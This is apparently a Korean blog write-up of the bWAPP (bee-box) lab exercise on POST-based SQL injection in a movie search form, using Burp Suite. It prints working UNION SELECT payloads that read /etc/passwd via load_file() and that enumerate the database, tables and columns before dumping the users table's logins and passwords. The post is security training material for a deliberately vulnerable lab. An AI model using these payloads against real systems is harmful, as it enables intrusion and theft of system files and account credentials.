취약점/Bee-Box

A1-Injection SQL Injection (POST/Search) 비박스(bWAPP)

시큐렛 2019. 12. 11. 22:40

SQL Injection이란?

웹 및 응용프로그램에서 데이터를 조회나 처리할 경우 데이터베이스에 명령을 하는데 이때 처리할 데이터에 악의적인 SQL문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법이다.

 

이번 글은 POST방식으로 요청을 받을 경우의 SQL Injection을 다룬다.


메인페이지

메인 페이지에는 인풋 박스에 영화 제목을 입력 시 영화의 정보가 나오는 것을 확인할 수 있다.

폼액션

메소드 타입을 POST형식으로 보내기 때문에 URL에 요청하는 키와 벨류 값이 보이지 않는다.

 

 

버프슈트 RAW

버프 슈트로 잡고 인풋 박스에 iron을 입력하고 Search버튼을 클릭 시 title과 액션에 입력한 iron과 search를 담아서 보내는 것을 확인할 수 있다.

 

삽입 코드 : 

'union select 1,load_file('/etc/passwd'),3,4,5,6,7#

여기서 load_file()은 지정된 경로에 있는 파일을 읽고 내용을 반환하는 mysql의 함수이다.

주의점은 파일에 대한 접근권한이 있어야 하고 지정된 곳에 파일이 있어야 한다.(없을 시 NULL반환)

버프슈트 삽입

버프 슈트를 이용하여 tilte 값에 코드를 넣어주고 보내면 된다.

passwd출력

성공적으로 passwd파일을 읽고 출력하는 것을 확인할 수 있다.

 

마찬가지로 이전 GET방식으로 DB의 계정 정보를 획득할 수도 있다.

 

삽입 코드 : 

'union select 1,2,3,4,5,6,7#
'union select 1,@@version,database(),4,5,6,7#	//버전정보 , DB이름 정보획득
'union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP'#
//획득한 DB의 테이블 정보획득
'union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
//획득한 테이블의 칼럼 정보획득
'union select 1,login,password,4,5,6,7 from users#
//users테이블의 id,password 정보획득

select
계정정보 획득